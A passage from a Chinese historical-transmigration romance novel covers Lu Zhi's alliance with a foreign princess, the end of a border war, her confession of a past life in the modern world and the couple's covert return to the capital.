“你如何打算?”
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谢玄:“攻下蛮族,挥师京城。”
陆枝:“那在此之前,我先去见见这位凰国小公主。”
她解释道:“我不跟她走,但我们可以把她拉到我们这边来,届时也是个助力。”
谢玄:“好。”
……
边境与蛮族之战已然开始。
蛮族地处贫瘠,对大栾向来是虎视眈眈,近来年双方虽未起战,但蛮族常会派人骚扰边境,仿佛是在试探。
霍仲寒说,他们迟早会和蛮族打一仗。
此战虽是称了谢瓒的心意,但也是终会发生的必然。
蛮族趁着大雪纷飞时曾摸过边境,被霍仲寒及时发现带兵驱逐,但当时蛮族打着游击,有意耗一耗霍家军,若非陆枝送物资及时,此刻怕是已陷入苦战。
陆枝没学过兵法,对打仗一窍不通,但有司衡这等名士高徒在,她并不担心会打不赢。
她想看看自己能不能帮上忙,私下偷偷问谢玄:“听闻战场会点燃狼烟,要不我往里头撒些东西,再想个法子转换风向?”
谢玄摸了摸她的头,道:“无妨,这仗虽要耗些时日,但并不难打,蛮族补给比我们有限,若打持久战,他们必败,所以此战很快便会有结果。”
陆枝:“行吧,看来是没有用得着我的地方了,那我便在后方为你和爷爷助威。”
谢玄拉着陆枝抱进怀里:“后方物资十分重要,便劳烦夫人来守了。”
陆枝拍拍胸脯:“便放心交给我吧。”
她蹭了蹭谢玄的额头,随即捧起谢玄的脸,一脸认真地看着他:“谢玄,待这仗打完了,我要告诉你一个秘密。”
谢玄抬眸看着她的眼睛:“我也有一事想要告诉你,但要比你晚一些讲。”
“嗯……”他沉吟片刻,勾起唇角道:“我想寻一个好时机,做个不那么狡猾的人。”
陆枝挠了挠他的腰:“好啊,你竟还记仇。”
谢玄抓住陆枝不安分的手:“你说的一切我都会好好记住。”
陆枝看着谢玄清亮的双眸渐渐扬起唇角,垂首朝着那处柔软的唇吻下去。
冬寒在帐外肆无忌惮地弥漫,帐内炉火正旺,驱散了屋外向里蔓延的寒气,火炉上正烧着烹茶水,不消一会儿,就发出汩汩沸声,帐内暖意融融。
……
时至初春时节,蛮族颓势已显。
御史回京,谢瓒已得知谢玄藏身边境军中,下令让霍仲寒在一月内将谢玄押送回京,否则诛杀霍家九族。
陆枝等候着凰国的消息,终于等到凰国送亲队伍已入大栾境内。
谢玄随军出征,派了沐武跟着陆枝,两人骑马往送亲队伍赶去。
远离边境,春意盎然,桃红柳绿,路旁人家小院秋千轻晃,天空连日下着如丝细雨,路面上积攒着一汪汪小水洼,倒映着高大树木。
马蹄溅过,水洼内的景象被踏乱飞溅,黑色的身影在飞散的水珠上溜了一圈,掩过所有其内乱象。
前方依稀可见红色举牌,陆枝忽而勒住缰绳。
“追上了。”
“沐武,为我制造一点慌乱,我要上车。”
“是,夫人。”沐武点头,掩面策马过去孤身挡在送亲队伍面前。
队伍顿时大喊:“刺客!保护公主!”
36.坦明
陆枝趁乱跑进整支队伍中看起来最豪华的马车内,令她意外的是,里面坐着的人不是小公主韩瑶,而是大公主韩汐。
韩汐的侍女反应很快,电光火石间抽出匕首架在了陆枝的脖子上。
陆枝:“……”完球,上错车了。
不过韩汐怎么会在送亲队伍里?难不成是送妹出嫁?
韩汐淡定地看着她,也不喊人。
陆枝握紧的左手渐渐松开,她秀眉一挑,试探地问道:“公主这莫非是在等我?”
韩汐抬手让侍女退下:“不枉我下令让队伍走慢些。”
竟还真是。
陆枝双手搭在腿上,坐得端端正正,一脸淡然地看着韩汐,等着她先开口。
沐武见陆枝已上车,朝着队伍抱了一拳,调转马头离去。
众人面面相觑了一小会儿,渐渐收起兵器继续往前,护送公主的将军来报:“公主,似是路过的旅人不慎走错了道,现那人已离去。”
韩汐:“嗯,那便继续上路吧,速度仍旧不用太快。”
将军领命:“是。”
马车开始慢悠悠地晃动起来。
韩汐自上往下打量了陆枝一番:“二皇妃倒是能沉得住气。”
陆枝莞尔:“公主既然不想抓我,那我便也没什么好慌的了,方才问公主是否是在等我,公主未曾否认,如今我人在公主的车上,自然是要等公主先开口说事。”
韩汐:“你很聪明,怪不得会把韩锦骗进去。”
额……韩锦的心机好像也就那样吧,跟眼前这位大公主比起来,完全不够看的。
陆枝不动声色地观察着韩汐的表情,看起来不是很生气,应该不是要为韩锦报仇。
她暗自揣测韩汐找她的用意,韩汐和韩瑶是同母所生,难不成是要利用她阻止此次联姻?
若是要利用倒也不赖,互有所求,才能互帮互助得相对真心实意一些。
韩汐直言道:“我也不欲与二皇妃打哑谜,此次我跟着瑶瑶的送亲队伍来,便是要见一见二皇妃,想来二皇妃对京城有些打算,我可暗中助力一番。”
韩汐优先说了好处,陆枝便替她说了要办的事:“只要我阻止小公主嫁给谢瓒?”
“不错。”韩汐道:“瑶瑶是我唯一的妹妹,我不可能看着她走向韩锦的下场。”
陆枝:“公主能如何帮我?”
韩汐:“凤雨楼,可借给皇妃一用。”
陆枝微微敛眸,这韩汐,把凰国在大栾的情报机关都暴露给她了,可见是有合作的诚意。
她微笑道:“公主这是打算放弃凤雨楼了?”这个地方等谢玄入京,定然是不能留的。
韩汐:“我主动告知足以见我诚意,届时还望二皇妃莫伤他们性命,放他们归凰国。”
陆枝:“自然可以,只要他们什么都不带走。”
韩汐:“此事我会交代下去。”
陆枝:“公主可有何凭证给我?”
韩汐拿出一块玉佩,侍女接过呈给陆枝:“此乃凰国皇室玉佩,皇妃拿给掌柜看他便会知晓。瑶瑶也会帮你。”
陆枝仔仔细细地看了看玉佩,做工精良,线条流畅,质地温润,应该是真货不作假。
她将玉佩收入掌心:“好,多谢公主。”
“不过,”陆枝问出心中疑惑,“公主怎么舍得放弃在大栾的多年经营?难道只是为了小公主?”
皇室里的亲情多少让人信不得真,她身边就有具体的例子。
韩汐倒是坦然:“非全然也,瑶瑶是我亲妹,我自然要护她,我此番所为也有另一个目的。”
陆枝静静看着她,并不答话。
韩汐继续道:“父皇无心朝政,我掌凰国多年,知晓凰国是表面看着辉煌,内里却是已让各大王族世家蛀透,我欲清洗凰国,届时我需要大栾的助力。”
陆枝心道:这才是女帝该有的样子,有胸襟有气魄有谋略,他们这些皇家子自小接触政务与国事,哪是她一个半道子出家的人能比得上的。
若是让她做女帝,用现代囫囵学到的那套搬到这边来,大栾有可能被她玩完,从她当初一腔热血为怙州写策论最终却没用上几条中可窥见一二。
专业的事还是要交给专业的人来做,谢玄比她合适,她打打辅助好了。
陆枝:“嗯,合作愉快。”
韩汐叫停车队,给陆枝离开的机会。
“李将军,在此处歇一歇,车上有些闷,我想透一透气。”
李槐:“是,公主。”
“所有人原地休整。”
陆枝冲韩汐抱拳:“多谢公主。”
她掀开一角车帘,看众人围着马车休整,有些难以离开。
韩汐:“素云,去拿些吃食给众人分一分。”
“是,公主。”素云领命下车。
陆枝在车上等着,问道:“公主看起来对姊妹极好,不想为韩锦报仇么?”
韩汐:“韩锦下场皆是她自找,她向来以为我是因她母妃身份而看不上她,却不知我看不上的便是她这个人,她想要什么从来不会坦坦荡荡地去争,总是背地里使些不上台面的手段,瑶瑶幼时落水,便是她所害,此人,我极为不喜。”
陆枝略有同感,她掀开车帘看了眼外面的情况,素云已经吸引走了所有人的视线,她回身冲韩汐略微点头:“公主,告辞。”
沐武牵着陆枝的马暗中跟着队伍,见陆枝离开,带着陆枝的马策马驶来。
陆枝跨上马:“走,沐武,加急回边境。”
她得回去带上人追上送亲队伍。
……
陆枝赶回北境,远远就听见将士们在呼嚎呐喊。
“沐武,这是胜了?!”
沐武面露喜色:“听着应是。”
陆枝脸上瞬间绽放出笑容:“那他便回来了,我们快些回去。驾。”
谢玄和霍仲寒站在营帐前举起手中兵器喊道:“大栾万岁!”
将士们高举兵戟附和:“大栾万岁!大栾万岁!”
陆枝在一众人当中一眼就看见了谢玄。
“谢玄!”她大喊一声谢玄的名字,翻下马朝着他狂奔而去。
谢玄的脸上沾了些烟尘,身上的铁甲溅染上好几处血迹,整个
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人裹着一股浓重的血腥味。
陆枝毫不在意,跑进谢玄的怀中拥住了他。
“祝贺你呀,打赢了。”
谢玄避开手上的血污环住陆枝的腰:“嗯,我赢了。”
霍仲寒在一旁掩唇咳了两声,陆枝后知后觉,露出笑颜道:“恭贺爷爷打了胜仗。”
霍仲寒:“老夫要是不出声,你这丫头还不知道什么时候能看见老夫。”
陆枝和谢玄分开:“哪的话,我肯定能看见爷爷呀,今日大获全胜,想来今夜爷爷定然是要和众将士好好庆祝一番,那我就……”
“先带着谢玄去个地方。”她拉着谢玄就跑,头也不回道:“爷爷,不用等我们啦。”
谢玄那么大个人被陆枝一拉便一阵风似的跟着她走了。
霍仲寒低喃道:“这丫头……”
他看向众将士:“行了,都别看了,今夜好酒好肉,都吃起来!”
全场爆发出欢呼。
谢玄跟在身后看陆枝的衣袖和手上都沾了血迹,拉住陆枝道:“等等枝儿,脏了。”
他翻开披风干净的一面给陆枝擦手。
陆枝看坡下有一条小溪,道:“那有溪水,我们一起去洗洗。”
初春的溪水依旧冷冽冻手指,陆枝忍着寒意打湿手帕给谢玄擦脸上的尘土和手上的血。
他的手掌心长出了茧,指尖和虎口处都有冻伤,裂开了好几个大大小小的口子,原本白皙修长的手此刻看起来有些“满目疮痍”。
陆枝心疼,动作放得轻柔:“这才一个冬日,便折腾成了这幅模样。”
谢玄:“无妨,过了冬日,很快便会好了。”
陆枝气道:“我给你的那些药你都没用。”
谢玄:“与军同苦,也是收服人心的手段。”
陆枝把手伸进冰水里,捂在谢玄的脸上,冰了谢玄一会儿,她松开手:“好了,我不气了。”
谢玄把她的手擦干,捧在手心里对着呵热气:“这天还凉着,别冻着了。”
指尖的热意鼓起心头悸动,好似清风穿过林间,引起翠云滚滚。
陆枝咬了咬唇,别过眼神:“这回便先如此、放过你了。”
……
陆枝将谢玄带到边境的城中,给他买了身新衣裳换上,包下一间雅间请他吃了一顿。
“今日就先让我为你庆贺。”
谢玄眼眸凝出一抹柔色:“应不止此事。”
陆枝用帕子擦了擦嘴角:“嗯,你懂我。”
窗外夜色悄然蔓延,屋内烛火摇曳,投下一层暖绒绒的毛边。
陆枝摆了摆裙角,正襟危坐道:“谢玄,也许我接下来所说之言你会感到很离奇……或者匪夷所思,但我说的皆是真的,并非是要拿你寻开心。”
谢玄正了神色,道:“枝儿,我知你为人,何时严肃何时玩笑我自是能分得清。枝儿,你说吧,我听着。”
陆枝心中还是忐忑,心脏跳得有些快,她闭上眼睛深呼吸了一口,缓缓睁开眼睛,眸色里是前所未有的认真与严肃。
她道:“谢玄,我并非这个世界的人。”
37.前世
陆枝关于前世的记忆有些滞涩,仔细回想起来才发现大部分记忆都已经模糊,好像十几年过去,前世的种种都成了很久远很久远的事情。
很多很多人的脸都蒙上了一层浓雾,她大概依稀能记得一些事情,却已经想不起这些事情里的人的脸和声音。
但有一个人是不同的,跨过一世,她仍能记得他的脸、他的声音。
在她第二世的十七岁,那个人此时应该已经结婚生子,有了个美满的家庭。
每每想到他安稳美满,陆枝总会感到欣慰安稳。
陆枝前世生在一个小康家庭,爸妈的感情很好,对她也很关爱,但他们很忙。
她从记事起对爸妈最深的印象就是她每年生日爸妈匆匆忙忙赶回来又匆匆忙忙离开的身影。
陆枝起先又哭又闹,结果把自己闹进了重症监护室,她醒来后才知道,自己从出生起就带着病,而且是很严重的病。
陆枝的爸妈希望通过给陆枝动手术来让她痊愈,可手术的风险很大,她那时的身体完全承担不起。
后来陆枝每年过生日都没再哭闹过,她知道自己没有那样任性的资本。
再后来,她长大一些了,身体能承受了,她在爸妈的注视下被推进手术室,她看着明晃晃的灯光,害怕得想要逃跑,可麻药已经开始生效,她的眼皮越来越沉重,她挣扎了好久好久没有闭上眼睛,害怕一闭上眼睛就再也醒不过来了。
陆枝从病床上醒来,身体传出痛感,很痛很痛,她却很高兴。
这份痛感是她活着的证明。
她抬起手想碰一下爸妈的手却始终没有碰到,艰难地转过头一看,身旁没有任何人在。
那一刻,眼泪就那么毫无征兆地流了出来。
可能是伤口真的真的太痛了。
等陆枝身体稳定一点后,她才知道爸妈为什么没有在她身边。
警察站在她的床边,一脸遗憾地告诉她,她的爸妈在她手术时接到一通紧急电话,处理完事情赶回医院时,路上出了严重的车祸。
人没能救回来。
陆枝一直以为吐血是电视剧里夸张的表演手法,直到她后知后觉地看见白色床单上的那一大滩红得刺眼的血,才感同身受地知道人在痛苦至极的时候真的会有一口郁气从身体里奔涌出来。
她浑身发冷,抖得厉害。
从此再也没能好起来。
那年她十岁。
陆枝爸妈的公司被大伯一家拿了去,她开始寄人篱下的生活。
陆枝的堂哥是个混子,为了看陆枝因为惊吓而捂着心脏大口呼吸的糗样,常常搞恶作剧捉弄她,有一次,他直接把陆枝推进了游泳池里。
陆枝浸泡在水里毫无章法地挣扎,心脏抽疼得厉害,水一下一下没过她的眼睛,堂哥那张大笑扭曲的脸却越来越清晰。
她不能死,至少不能这么憋屈地死去,凭着这样的念头,陆枝死命朝着岸边爬去,吞了一肚子水。
她跪在岸边大口呼吸,揪着心口衣服的手爆起清晰的青色纹路。
作恶者的笑声更加肆无忌惮,陆枝的眼神凛冽如高山冰雪,她不知道自己是怎么撑着站起来的把堂哥推进泳池里的。
等她看清堂哥在水里扑腾的惊慌模样,她只觉得痛快,可也只痛快了一瞬,心脏的痛感如巨浪打来,她呼吸得越来越痛苦。
陆枝捂着心脏一步一停地走出这栋吃人的别墅,眼睛里渐渐冒出大片大片的雪花,耳朵里尽是恼人的嗡鸣声,直往脑仁里钻。
她仿若一个酗酒过度的醉汉摇摇晃晃地走在小路过道上。
有没有人能……救救我……
陆枝绝望地祈求着有人能够发现她,向她伸出援手。
前方站着一个高高瘦瘦的男生,穿着白色的T恤,陆枝看不清他的脸,她拖着沉重的身体走过去,像抓住救命稻草一般抓住他的手。
“求求你……救救我……”
她的声音很轻很轻,像是羽毛落在地上,但这已经她拼尽全力说得出声的音量,她不知道对方能不能听得见,也不知道对方会不会救她。
在听到对方回答之前,她就彻底晕了过去。
陆枝以为自己必死。
当她睁开眼睛,熟悉的白色天花板映入眼帘,熟悉的消毒水气味钻入鼻子,她知道自己还没有死。
那个路人救了自己。
她一瞬间就泪流满面,她也不知道是为什么,或许是因为还活着的喜悦,又或许是陌生人给她的——
善意。
陆枝从此以后再没回过大伯家,她的身体状况已经离不开医院。
过了一段时间有警察来告诉她,大伯被捕了,具体是什么事情他没有说。
陆枝看着那名警察说道:“叔叔,我记得你,你是告诉我爸爸妈妈出事的那名警察。”
陈剑安弯腰抹了抹她的头说道:“小姑娘,叔叔答应你,会给你一个交代。”
陆枝不知道是个什么交代。
再过了一段时间,陈剑安又来了,他特地叫来护士守在一边,像是随时准备应对陆枝的过激反应。
他告诉陆枝,大伯为了夺取爸爸妈妈的公司,设计杀害爸爸妈妈并伪装成车祸意外,他们已经找到确凿证据,大伯会在法庭上得到审判。
陈剑安以为陆枝又会向上次一样吐血昏厥,可陆枝这次却出奇地平静。
她只是紧紧咬着嘴唇,咬出了一条血线,眼泪不停地从眼角流出,洇进枕头里。
陈剑安看得揪心,他抽了张纸巾给陆枝擦眼泪,却怎么也擦不完。
护士面露不忍,给陆枝打了一挤镇定剂。
陆枝的眼皮渐渐沉重。
陈剑安擦去她的眼泪,摸了摸她的脑袋:“小姑娘好好休息,叔叔有空就来看你。”
陆枝听见了。
但陈剑安没再来过,代替他来的是另一个人。
是个看起来大她几岁的男孩,高高瘦瘦的,穿着白色T恤,有些眼熟。
陆枝试探道:“哥哥,那天是你救了我。”
男孩搬来椅子坐到陆枝身边,把一支纯白茉莉放进陆枝床头的花瓶里。
“我还以为你不会记得我,毕竟……“他抿了抿唇,道:“你那天的状况看起来很糟糕。”
陆枝的目光从那支饱满的茉莉移到他的脸上,她露出一个虚弱的微笑:“吓到你了,抱歉。”
“我叫陈儒,儒生的儒。”男孩向她伸出手。
陆枝想抬手回应,却没什么力气,动了好几下都没办法触碰到他的手。
陈儒主动握住她的手。
陆枝一愣,片刻后笑了笑:“我叫陆枝,枝头的枝。”
“陆枝。”陈儒重复着她的名字,露出浅浅笑意:“很好听的名字。”
陆枝弯起眉眼:“哥哥的名字也很好听。”
陈儒出人意料地问道:“你真觉得好听?好听在哪里?”
陆枝一愣,认真地思考了起来:“哥哥长得很白很好看,就像古代白净儒生一样,这个字很衬你。”
陈儒噗嗤一声:“我唬你的,
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你还认真答了。”
陆枝跟着一笑:“陈叔叔是哥哥的爸爸吗?”
陈儒:“对,是我老爸,他比较忙,我代替他来看你。”
“你会失望么?”
陆枝轻轻摇头:“不会,不论你们谁来,我都会很开心。”毕竟一个人待着,太孤单了。
陈儒抬起手像陈剑安一样摸了摸陆枝的头。
陆枝眼眸一颤。
陈儒:“既然能让你开心,我会常来看你。”
陆枝伸出小拇指:“要说话算数,拉钩。”
陈儒露出一口大白牙,用小拇指勾住陆枝的小拇指:“拉钩上吊一百年不许变。”
他抬起大拇指按在陆枝的大拇指上,笑意飞扬:“盖章认证,永久有效。”
陆枝觉得心里有点酸,眼眶跟着变得有点热。
陈儒遵守承诺,只要有空就会来看陆枝,每次他来,都会带上一支新鲜的纯白茉莉。
陆枝荒芜的生命开始有了期待,她期待看到明媚如阳光的陈儒,也期待收到一支充满生机的茉莉。
陈儒替陆枝的爸妈接续上了陆枝的生日,他陪陆枝过了四个生日,从她的十一岁到十五岁,她床头的茉莉一直常换常新,直到陆枝十六岁生日当天,她一如往常地期待着陈儒的到来,可这天她从天亮等到天黑也没能等到陈儒。
也许是有什么事情耽误了,陆枝心想。
可陈儒再没有出现过。
她第一次给陈剑安打电话,电话没有接通,她很担心。
后来护士给她转达说,陈儒抓住了一个很好的机会出国学习,时间很紧急,没来得及来和她告别。
陆枝听完放了心,那很好啊,他的未来一定繁花似锦。
她转头看向窗外,忽而又觉得寂寞和难过,她没法走进他的未来。
她的心脏跳得越来越弱,不知道什么时候就会停止,如果在那个时刻最终到来之前,能再见他一面就好了……
但一想到这人未来一切安好,她又觉得不能见面也没有那么遗憾了。
……
陆枝平静地讲述完过往的一切,看着谢玄说道:“这便是我要告诉你的秘密,谢玄,我再没什么瞒着你的了。”
谢玄满目心疼,眼里有着陆枝解读不懂的深意。
不待陆枝探究,他起身走过来将陆枝抱进怀里,像哄孩子一般摸着她的头道:“枝儿,从今以后,你都有我。”
陆枝瞳孔一震。
大抵是因为刚刚才谈及起过往,她总觉得谢玄这个摸头的动作有些熟悉。
错觉吧,不可能的,那人在现代好好活着呢。
“嗯,我很庆幸能遇见你。”陆枝应道。
两人携手走出城,穿梭于林间往营地走去。
林间被春意裹满怀,依稀开出了零星小花,两人的衣袍拂过两旁的花草,沾染上浅淡香味。
陆枝:“谢玄,你就不想再问问我什么吗?”
她总觉得谢玄接受得未免太快了些,他似乎并不怎么震惊,就好像……早就知道了一般。
谢玄:“你对我毫无保留,我没有什么要再问的了。”
陆枝“噢”了一声,心里还是觉得奇怪。
谢玄:“枝儿,李婆婆给的红绳,你可还留着?”
陆枝点头:“自然留着。”
谢玄:“那我们便常戴着吧。”
陆枝:“好啊,不过你怎地想起这事来了?”
谢玄牵紧陆枝的手:“往后年年岁岁,我们要常伴常守。”
38.潜回
按照计划,谢玄要被霍仲寒押送回京,陆枝带人追上韩瑶的送亲队伍潜回京城。
陆枝轻身跃上马,对着谢玄和霍仲寒挥手:“爷爷,谢玄,京城见。”
谢玄牵住陆枝的手:“一切小心。”
陆枝露出温和笑意:“嗯。”
金承和若娘都跟着陆枝走,谢玄担心陆枝,让司衡也跟着陆枝。
韩瑶的队伍行进速度依旧不快,陆枝花了不足两日便在驿站追赶上。
她让司衡等人在外候着,自己则独自潜进韩瑶的房间。
韩汐已经悄然离开,把自己的侍女素云留给了韩瑶。
素云见是陆枝,收起了匕首。
陆枝:“陆枝见过小公主。”
韩瑶生得可爱,嘴也甜:“皇妃姐姐不必客气,快快请起。”
只这一来一往,陆枝对她的初印象便不差。
陆枝:“此行我等一共十人,劳小公主将七人换入队伍里。”
韩瑶:“姐姐已向我交代过,我会办好此事。”
“素云,你去安排。”
素云:“是,公主。”
……
皇宫内,谢瓒抓了一大把鱼食扔进湖里:“霍仲寒启程了?”
流光:“是,陛下,预计十日后便会到京城。”
谢瓒又抓了一把扔向远处,挤在一处的鱼儿们顿时分开成两团:“人安排得如何了?”
流光:“四个城门皆派了重兵把守,皇宫内的守卫也加强了一倍,陛下扶持的世家皆等陛下下令,不过——”
他顿了顿,道:“朝中老臣心有怨怼,不肯出人出力,有些大臣试图派人出城拦截霍仲寒,派出之人已让臣拦下斩杀。”
谢瓒:“做的不错。”
他看向争相抢食的鱼儿们,冷笑一声:“这些老家伙真当自己是大栾脊梁了,他们不肯归顺朕,朕自能扶持起归顺朕的忠臣,届时还需要这些冥顽不灵的老骨头做什么。”
流光迟疑了会儿,道:“陛下,会不会太过着急了些?”
谢瓒登基以来以雷霆手段大力排除异己,扶持新贵,他总有些不好的预感,大栾三百年来安稳传承,如今谢瓒这般大刀阔斧地大栾换血,当真不会伤到大栾的根基么?
谢瓒:“流光,你何时也变得跟那些老臣一样优柔寡断了?莫非你也同他们一样,认为朕是错的?”
流光连忙行礼:“臣不敢。”
谢瓒拍了拍手:“她呢?”
流光:“未探听到跟着霍老将军一同上路。”
谢瓒:“霍仲寒寻回她不易,自然是舍不得她再犯险,不过她是不会乖乖让霍仲寒把谢玄送回来的,此次她也会来,还会比谢玄先到。”
流光思索片刻:“陛下,您的意思是……”
谢瓒:“去将凰国小公主好生迎进城,密切关注着,随时来报。”
流光:“是。”
谢瓒的目光掠过随微风轻晃的檐铃投向天边。
陆枝,你想借凰国之势替谢玄翻身,可你是否忘了,大栾境内朕乃主宰,这一回你和谢玄都逃不掉。
……
陆枝早就做好了安排,若娘跟着另外六人混入队伍里,她和金承司衡二人打算偷偷藏进箱子里。
谢瓒定然会想到她会跟着送亲队伍潜回京城,所以他一定会让流光盯紧送亲队伍,她索性就让若娘露个脸去证实谢瓒的猜测。
谢瓒在人前应是会装一装的,顾着两国脸面,他不会让人盘查韩瑶的嫁妆,但一定会让人盯紧韩瑶。
没关系,只要能进入使臣府就行。
嫁入大栾的外族公主,在举行大婚前皆安置在使臣府内。
不过为了防止生变数,还是要另做些别的打算,毕竟谢瓒被她骗过一回,多少都会对她有着防备心。
送亲队伍接入陆枝后便不再磨蹭,加快了速度抵达京城。
流光带着官员在城门口迎接,他一眼就认出随行在韩瑶马车旁的人是陆枝的丫鬟若娘。
果真来了,那看来她在……
他的目光落在队伍里大大小小的箱子和韩瑶的马车上。
韩瑶的马车行至跟前,流光行礼道:“公主舟车劳顿,陛下命我等在此恭迎公主。”
韩瑶略显稚嫩的声音从马车内传出:“谢陛下,有劳将军和众位大人相迎。”
“将军,我有些累了。”
流光:“我等已为公主备好宫殿。”
韩瑶诧异道:“今日便入宫?这似乎并不合你们大栾的礼法。”
流光:“公主乃凰国陛下的掌上明珠,陛下特下令迎公主入宫。”
韩瑶沉默片刻,道:“那便谢过陛下厚爱了。”
流光让开道,弓腰做出请的手势:“公主请。”
整支队伍进入城中,他侧过头朝身边的人低声吩咐道:“去禀报陛下,人已入城,将迎入宫。”
小兵士应声,快速朝宫中跑去。
陆枝看着被迎入皇宫的车马,心道:还好没有藏在箱子里。
她想到谢瓒能猜到她混进送亲队伍,那必然是另有准备的,此法子便不宜再用。
果不其然,韩瑶不入使臣府而是直接被接入宫。
好在她还做了另一手准备,提前让韩瑶给城中送信,风雨楼派人出城采买,他们跟着采买队伍入城。
采买队伍共安排了两支,一支是凤雨楼的,另一支是别家酒楼的。
陆枝金承司衡三人跟的是另一家酒楼的采买队伍进的城,过程较为顺利,没有受到很严格的盘查。
反观凤雨楼这边,受到的盘查十分仔细,守城将军命人将整支队伍的筐篓全部打开看了一遍才放行。
陆枝料想到了这个结果,谢瓒猜到她会跟着韩瑶混入京城,想必也会查一查凰国在大栾的势力,从谢瓒安排韩瑶直接入宫便可知晓,他不会给她在京城做任何安排的机会。
这会儿谢瓒应该以为她跟着韩瑶入了宫。
若娘那边虽有些险,但也不用太过担心,韩瑶会护住她。
陆枝:“司家主,当初曾说的那名宫女可有打探到消息?”
司衡点头:“探子查到了些踪迹,人确实曾经窝缩在使臣府内,不过——”
陆枝:“不过?”
司衡垂眸摸着下巴:“她如今已经不在使臣府,据探子回报,天子命人搜查使臣府,这宫女自毁容貌逃出,之后不知所踪。”
“那看来用不着去使臣府
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了。”陆枝叹了口气:“要找人还是需要凰国的帮助,不过现下凤雨楼那边应也被人盯得紧。”
她将目光投向金承,十来岁的少年个子长得快,尤其金承还练武,个子更是窜得高。
“金承,这下子要靠你了。”
金承:“师姐尽管说。”
陆枝拿出钱和玉佩:“去换个扮相,进凤雨楼找掌柜,让他帮着暗地里打探宫女的下落,若是情况不对,只管跑便是,之前我们绘制的地图可还记得?”
金承接过:“自然记得。”
陆枝:“好,那便交给你了。”
金承:“师姐安心,我定不负所托。”
陆枝拍了拍他的肩:“去吧,小心些。”
司衡见金承的身影消失在屋檐上,转过头问道:“皇妃,接下来可有去处?”
陆枝:“说实话,我此刻也没有很好的去处。”
司衡:“若皇妃不知去处,那便由我来安排,可好?”
陆枝点头:“那便再好不过了,有劳司家主。”
司衡:“皇妃言重。”
陆枝默默跟在司衡身后沉思,这就是她和这个世界里的人的差别,他们有家族根基,有人脉势力,就连远在凤州的司衡,在京城都能有些布置,这些她都没有。
陆家被她舍弃,秦家被她设计走向没落,她在京城几乎没有可以利用的资源,但她不后悔跟秦陆两家撇清关系。
或许她可以利用一下陈通海在京城所结识的官员人脉,但是她舍不得给怙州带去任何一丝麻烦。
司衡带着陆枝到了一处从外面看就有些破败的院落,他推开院门,院内生着杂草,看起来荒废许久。
“此处乃是岳父大人曾在京城的一处故居,屋外虽看着荒了些,但屋内我安排人打扫过,可供我们暂时落脚。”
陆枝:“司家主心思缜密,外头杂草不除,无人会怀疑此处不是一处荒宅。”只要今夜不点灯便可。
他们带了干粮,用不着起灶做饭。
司衡:“皇妃过奖。”
他推开主屋的房门:“便委屈皇妃先在这间屋子将就。”
陆枝指了指西侧的屋子:“司家主,我终归是个客,住主屋不妥,我便住客房好了。”
司衡:“这……客房打理得不如主屋干净,无论如何也不该如此怠慢皇妃。”
陆枝朝客房走去,停在门口冲司衡摆摆手:“司家主言重,我没那般娇贵,你是主人家,该由你来住主屋。”
她推门而入:“司家主,好生歇息,接下来有得我们奔忙了。”
话已说到这个份上,司衡不好再坚持,怕显得自己别有用心:“是,皇妃也好生歇息。”
天色暗下,陆枝有些看不清,她背靠着门闭上眼睛好一会儿,等眼睛适应了黑暗,轻松便越过桌子障碍朝床走去。
被子许久无人使用,加之此下时节是初春,整张床都透着一股寒意。
陆枝捂了很久,被窝里才起了一点点暖意,身体倒是回暖了,可双脚还是冷得像一块捂不化的冰。
她抱着双腿缩成一团,喃喃自语道:“唉,要是谢玄在就好了。”
只要谢玄在,寒冷时日被子里都是暖融融的。
39.唐突
医院的灯光忽明忽暗地闪烁,大片大片的水珠返潮似的从四周墙壁冒出,一层又一层累积,凝成水滴往下流,流至地面聚成积水,很快就没过脚踝。
陆枝看积水不停地往上漫,急急忙忙朝前面奔跑逃命。
一闪一闪的灯光闪烁得越来越快,终于在某一段急促的频率中彻底熄灭,四周顿时陷入一片黑暗,水很快漫过膝盖,陆枝感到跑得十分艰难。
水似乎在逐渐变得冰凉,双腿每走一步就被刺骨的寒意侵入,痛入骨髓。
“啊!”
陆枝好像踩到了什么不慎扭伤了脚跌入冰水里,四周场景变换成了陆枝大伯的别墅,她落在游泳池里不停地挣扎。
岸边没有人,脚下踩不到底,她拼命挣扎想要上岸却徒劳无功,只能不停地往下沉。
水没过她的头顶,她感到窒息无比,最终只剩一只手还露在水面外微弱无力地挣扎。
有没有人能……救救我……
陆枝绝望地祈求着。
就在这时,一只手抓住了她的手,一把将她拉出水面,让她得以重新呼吸。
她跪在岸边捂着心脏大口呼吸,等心脏的痛感平复下来,她才有力气抬头去看救她的人。
这人逆着光,陆枝看不清楚他的脸,只看清他穿着的白色T恤,他朝着她伸出手,声音温润和煦:“你好,我叫陈儒,儒生的儒。”
陆枝巍巍颤颤地伸出手,嗫嚅道:“陈儒哥哥,我是陆枝,枝头的枝。”
她眨了很久的眼睛,终于得以看清他的脸,只见他眉目清朗俊逸,鼻梁高挺,朝着她露出温柔和煦的笑容,说:“嗯,很好听的名字。”
“陈儒哥哥,好久不见,你过得好吗?”
“你——”陆枝还想说些什么,陈儒突然消失在她眼前。
“陈儒哥哥。”陆枝惊慌失措地喊着。
场景再一次变换,她站在医院的天台上,看倾盆大雨侵蚀人间,世间一片阴沉昏暗。
她的眼皮被沉重的雨水打得有些抬不起来,索性垂下眼眸看楼下车来车往。
一辆辆车穿梭而过,溅起一排排白色水花。
陆枝看见一辆疾驰的大卡车无视红灯撞向一辆小轿车,小轿车被撞得打转了好几圈,最终撞上路边的建筑,车身严重变形,整辆车霎时间冒出滚滚浓烟。
这样严重的车祸,车内的人应该没命了吧。
陆枝被骤雨拍打得浑身冰冷,整个人脱力,往楼下坠去。
她于这样的失重感中浑身一激灵,睁眼醒来。
陆枝茫然地看了看四周,黑漆漆的,她动了动,被脚上那股冰凉的冷意激了个清醒。
对,她现在是在大栾,在楚沧源的故居里。
陆枝把脚往捂暖和的地方缩了缩,回忆起方才的梦境有些了无睡意。
这么久以来,她还是第一次梦见陈儒和跟前世有关的事情。
刚才梦境里的那场车祸,就是爸爸妈妈出事的那次吧,真奇怪啊,她在病床上想象过无数回却从来没梦到过,没想到隔了一世居然梦见了。
爸爸妈妈……应该和她一样有了新的人生,希望他们的新生一切顺遂。
陆枝缓慢地眨了眨眼睛,望着黑黢黢的天花板。
陈儒哥哥……
他现在应该过得很好吧。
脚上的冷意存在感太过明显,陆枝翻了个身,又将脚往上缩了缩。
谢玄此刻到哪里了,吃得饱不饱?冷不冷?想她了吗?
她反正是想念谢玄了。
